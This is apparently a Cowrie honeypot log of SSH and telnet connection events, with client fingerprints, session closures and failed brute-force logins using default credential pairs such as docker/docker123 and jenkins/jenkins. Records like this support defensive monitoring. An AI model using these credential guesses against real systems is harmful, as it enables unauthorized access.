{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:52.156667Z","src_ip":"192.109.200.78","session":"fb516ffa488e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:52.256273Z","src_ip":"192.109.200.78","session":"fb516ffa488e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.76.238.8","src_port":40776,"dst_ip":"10.17.0.5","dst_port":23,"session":"44bb1036ee86","protocol":"telnet","message":"New connection: 45.76.238.8:40776 (10.17.0.5:23) [session: 44bb1036ee86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:52.395240Z"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:52.503386Z","src_ip":"192.109.200.78","session":"fb516ffa488e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.720986366271973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:52.596544Z","src_ip":"212.67.214.113","session":"3dabf4f301e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:53.588984Z","src_ip":"192.109.200.78","session":"fb516ffa488e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.791624546051025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:54.046373Z","src_ip":"178.63.26.148","session":"4d74ea3e842f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.77.113.30","src_port":35714,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a09cafff46","protocol":"telnet","message":"New connection: 41.77.113.30:35714 (10.17.0.5:23) [session: 23a09cafff46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:54.052358Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.228.27.170","src_port":56576,"dst_ip":"10.17.0.5","dst_port":23,"session":"fddaaf9543f9","protocol":"telnet","message":"New connection: 185.228.27.170:56576 (10.17.0.5:23) [session: fddaaf9543f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:54.327555Z"}
{"eventid":"cowrie.session.closed","duration":30.715731620788574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:55.119532Z","src_ip":"89.163.210.171","session":"44c27c248898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.97.211","src_port":44422,"dst_ip":"10.17.0.5","dst_port":23,"session":"08ebca5efaf4","protocol":"telnet","message":"New connection: 165.232.97.211:44422 (10.17.0.5:23) [session: 08ebca5efaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:55.362042Z"}
{"eventid":"cowrie.session.closed","duration":30.43613624572754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:56.170623Z","src_ip":"41.186.86.13","session":"9921da068c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41104,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2bb1ae6114d","protocol":"ssh","message":"New connection: 192.109.200.78:41104 (159.203.135.109:22) [session: b2bb1ae6114d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:56.395859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:56.403644Z","src_ip":"192.109.200.78","session":"b2bb1ae6114d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:56.482674Z","src_ip":"192.109.200.78","session":"b2bb1ae6114d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.116.199.165","src_port":37594,"dst_ip":"10.17.0.5","dst_port":23,"session":"79adc1c9669d","protocol":"telnet","message":"New connection: 66.116.199.165:37594 (10.17.0.5:23) [session: 79adc1c9669d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:56.640333Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:56.815312Z","src_ip":"192.109.200.78","session":"b2bb1ae6114d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.833978176116943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:57.047501Z","src_ip":"15.204.210.221","session":"dda269ecb6e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670644521713257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:57.072493Z","src_ip":"152.70.112.143","session":"7d220dde1da7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043532848358154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:57.098482Z","src_ip":"69.169.96.3","session":"094e8a748fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:57.906705Z","src_ip":"192.109.200.78","session":"b2bb1ae6114d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.982412338256836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:58.039578Z","src_ip":"207.244.104.223","session":"ecd0ffbda16a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69412326812744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:58.048499Z","src_ip":"157.90.5.26","session":"5cd8822a8a14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66206693649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:58.090400Z","src_ip":"136.243.24.250","session":"0ba31d965245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724733591079712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:58.094738Z","src_ip":"159.69.140.47","session":"1cc4ed345d7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81046748161316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:58.112124Z","src_ip":"78.31.67.209","session":"085a05975f26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.271296977996826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:58.174411Z","src_ip":"20.216.16.237","session":"7093000c307a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.154.235.92","src_port":52970,"dst_ip":"10.17.0.5","dst_port":23,"session":"188f5e253c7b","protocol":"telnet","message":"New connection: 95.154.235.92:52970 (10.17.0.5:23) [session: 188f5e253c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:58.301150Z"}
{"eventid":"cowrie.session.closed","duration":30.77559733390808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:58.705084Z","src_ip":"67.205.134.100","session":"63b6f66eb09f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923031330108643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.039397Z","src_ip":"206.206.127.164","session":"758f0fdf1a72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76245951652527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.054437Z","src_ip":"207.182.155.202","session":"4ff0ff344147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8044273853302,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.090660Z","src_ip":"5.189.166.64","session":"43600bb11512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695736408233643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.095511Z","src_ip":"173.212.209.202","session":"7064367e2509","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731451511383057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.153779Z","src_ip":"31.220.77.46","session":"f91df80f927c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753921031951904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.297592Z","src_ip":"174.142.238.212","session":"3f8cd80b524e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.180.146.225","src_port":49316,"dst_ip":"10.17.0.5","dst_port":23,"session":"b53bd373e91a","protocol":"telnet","message":"New connection: 82.180.146.225:49316 (10.17.0.5:23) [session: b53bd373e91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.654184Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37502,"dst_ip":"159.203.135.109","dst_port":22,"session":"407fd4090a61","protocol":"ssh","message":"New connection: 80.94.92.186:37502 (159.203.135.109:22) [session: 407fd4090a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.734419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.788379Z","src_ip":"80.94.92.186","session":"407fd4090a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:59.928486Z","src_ip":"80.94.92.186","session":"407fd4090a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81001377105713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:00.142668Z","src_ip":"162.214.122.104","session":"dde5a83e900d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60879683494568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:00.221459Z","src_ip":"103.137.246.86","session":"ef7014076155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48614,"dst_ip":"159.203.135.109","dst_port":22,"session":"56ec16a123df","protocol":"ssh","message":"New connection: 192.109.200.78:48614 (159.203.135.109:22) [session: 56ec16a123df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:00.432972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:00.438290Z","src_ip":"192.109.200.78","session":"56ec16a123df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:00.523736Z","src_ip":"192.109.200.78","session":"56ec16a123df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:00.618488Z","src_ip":"80.94.92.186","session":"407fd4090a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:00.789241Z","src_ip":"192.109.200.78","session":"56ec16a123df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.728795766830444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.039341Z","src_ip":"146.185.21.229","session":"d621fa1298d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765971660614014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.046628Z","src_ip":"45.79.152.131","session":"aec41771b5fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72900700569153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.100820Z","src_ip":"107.191.39.230","session":"776ca04e72fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49992,"dst_ip":"159.203.135.109","dst_port":22,"session":"29a1933b011b","protocol":"ssh","message":"New connection: 159.203.92.129:49992 (159.203.135.109:22) [session: 29a1933b011b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.404210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.410009Z","src_ip":"159.203.92.129","session":"29a1933b011b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.690032720565796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.414012Z","src_ip":"185.224.217.231","session":"2d1b170cae71","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.420040Z","src_ip":"159.203.92.129","session":"29a1933b011b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RADI0","password":"123456","message":"login attempt [RADI0/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.431904Z","src_ip":"159.203.92.129","session":"29a1933b011b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.779344Z","src_ip":"80.94.92.186","session":"407fd4090a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:01.885906Z","src_ip":"192.109.200.78","session":"56ec16a123df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.801562309265137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:02.076962Z","src_ip":"168.119.236.88","session":"1df9093b93d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83759570121765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:02.105535Z","src_ip":"66.226.72.247","session":"0d2ffd499734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400433778762817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:02.120008Z","src_ip":"65.109.62.117","session":"6f1125339d50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937884092330933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:02.176669Z","src_ip":"162.214.170.182","session":"f7f44e7662d4","protocol":"telnet"}
